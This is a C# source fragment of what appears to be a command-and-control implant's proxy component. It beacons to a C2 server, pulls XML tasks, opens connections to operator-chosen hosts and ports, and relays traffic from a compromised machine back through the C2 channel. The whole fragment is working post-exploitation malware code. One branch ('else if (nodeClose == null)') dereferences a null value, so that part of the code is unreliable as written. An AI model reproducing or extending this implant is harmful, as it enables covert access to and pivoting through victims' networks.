public void SendToTarget()
{
var SendWait = new ManualResetEvent(false);
while (!Cancel.IsCancellationRequested)
{
RecvedData.WaitOne(-1);;
RecvedData.Reset();
foreach (var key in Targets.Keys)
{
TargetInfo trget = null;
try
{
if (Targets.ContainsKey(key))
{
trget = Targets[key];
}
if (null != trget && !trget.Exit)
{
List <byte> readPyld = null;
var payload = new List <byte>();
while (trget.ReadQueue.Count > 0)
{
trget.ReadQueue.TryDequeue(out readPyld);
payload.AddRange(readPyld);
}
if (payload.Count > 0)
{
Task.Factory.StartNew(() =>
{
List <byte> toSend = null;
try
{
toSend = CmdCommshandler.Send(trget, "asyncUpload", payload, out bool connectionDead);
ImplantComms.LogMessage($"[{trget.TargetId}] Received {toSend?.Count() ?? 0} bytes after sending {payload?.Count ?? 0 } bytes");
if (null == toSend || connectionDead)
{
ImplantComms.LogError($"[{trget.TargetId}] Connection looks dead EXITING");
trget.Exit = true;
}
else if (toSend.Count > 0)
{
trget.WriteQueue.Enqueue(toSend);
SentData.Set();
}
}
catch
{
trget.Exit = true;
ImplantComms.LogError($"[{trget.TargetId}] Couldn't send {toSend?.Count()} bytes");
}
});
ImplantComms.LogMessage($"[{trget.TargetId}] {payload?.Count() ?? 0} bytes arrived from target about to send back");
}
}
SendWait.WaitOne(BeaconTime);
}
catch (Exception ex)
{
if (null != trget)
{
trget.Exit = true;
}
ImplantComms.LogError($"[{trget.TargetId}] Error during Send Data loop {ex}");
}
}
}
}
bool CommandLoop(CancellationToken token)
{
do
{
if (token.IsCancellationRequested)
return true;
var request = BuildRequestPayload();
var response = _cmdCommsHandler.Send(CommandChannelSessionId, UTF8Encoding.UTF8.GetBytes(request.ToString()).ToList(), out bool CommandChannelDead);
if (null == response || response.Count() == 0 || CommandChannelDead)
{
if (CommandChannelDead)
{
_error.LogError($"Command Channel loop is dead. EXITING");
return false;
}
}
else
{
var xdoc = XDocument.Parse(UTF8Encoding.UTF8.GetString(response.ToArray()));
var elms = xdoc.XPathSelectElements("Response/Tasks/Task");
if (elms.Count() > 0)
{
ImplantComms.LogMessage($"{elms.Count()} tasks recieved");
//We have tasks Queue em up
xdoc.XPathSelectElements("Response/Tasks/Task").ToList().ForEach(x =>
{
var nodeCreate = x.XPathSelectElement("CreateListener");
var nodeClose = x.XPathSelectElement("CloseListener");
if (nodeCreate != null)
{
var host = nodeCreate.Attribute("TargetHost").Value;
var strPort = nodeCreate.Attribute("TargetPort").Value;
var port = ushort.Parse(strPort);
var sessionId = nodeCreate.Attribute("SessionID").Value;
ImplantComms.LogMessage($"About to open connection to {host}:{strPort}");
if (_client.OpenNewConnectionToTarget(sessionId, host, port))
QueueListenerStatus(sessionId, "open");
else
{
ImplantComms.LogError($"FAILED {host}:{strPort}");
QueueListenerStatus(sessionId, "failed");
}
}
else if (nodeClose == null)
{
var sessionId = nodeClose.Attribute("SessionID");
if (null != sessionId)
{
if (!String.IsNullOrWhiteSpace(sessionId.Value))
{
_client.Stop(sessionId.Value);
QueueListenerStatus(sessionId.Value, "closed");
}
else
{
ImplantComms.LogError($"Close session id message is null");
}
}
}
else
return;
});
}
//Sleep til we need to beacon again
//TO DO: Add in Jitter time, not curenntly implemented
if (token.IsCancellationRequested)
return true;
}
Timeout.WaitOne(C2Config.CommandBeaconTime);
}
while (!token.IsCancellationRequested);
return true;
}